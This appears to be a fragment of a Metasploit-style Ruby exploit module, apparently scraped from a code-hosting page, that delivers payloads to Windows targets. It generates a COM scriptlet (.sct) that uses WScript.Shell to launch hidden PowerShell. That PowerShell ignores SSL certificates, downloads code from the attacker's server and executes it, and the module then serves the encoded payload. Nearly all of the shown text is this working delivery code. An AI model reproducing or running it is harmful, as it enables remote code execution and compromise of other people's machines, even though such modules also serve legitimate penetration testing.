|
||||||
# Otherwise, serve the PowerShell payload
|
|
||||||
if _request.raw_uri =~ /\.sct$/
|
|
||||||
serve_sct_file
|
|
||||||
else
|
|
||||||
serve_psh_payload
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def serve_sct_file
|
|
||||||
print_status("Handling request for the .sct file from #{cli.peerhost}")
|
|
||||||
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
|
|
||||||
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
|
|
||||||
download_and_run = "#{ignore_cert}#{download_string}"
|
|
||||||
psh_command = generate_psh_command_line(
|
|
||||||
noprofile: true,
|
|
||||||
windowstyle: 'hidden',
|
|
||||||
command: download_and_run
|
|
||||||
)
|
|
||||||
data = gen_sct_file(psh_command)
|
|
||||||
send_response(cli, data, 'Content-Type' => 'text/plain')
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def serve_psh_payload
|
|
||||||
print_status("Delivering payload to #{cli.peerhost}")
|
|
||||||
data = cmd_psh_payload(payload.encoded,
|
|
||||||
payload_instance.arch.first,
|
|
||||||
remove_comspec: true,
|
|
||||||
use_single_quotes: true
|
|
||||||
)
|
|
||||||
send_response(cli,data,'Content-Type' => 'application/octet-stream')
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def rand_class_id
|
|
||||||
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
|
|
||||||
end
|
|
||||||
|
|
||||||
def gen_sct_file(command)
|
|
||||||
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
Loading…
Reference in New Issue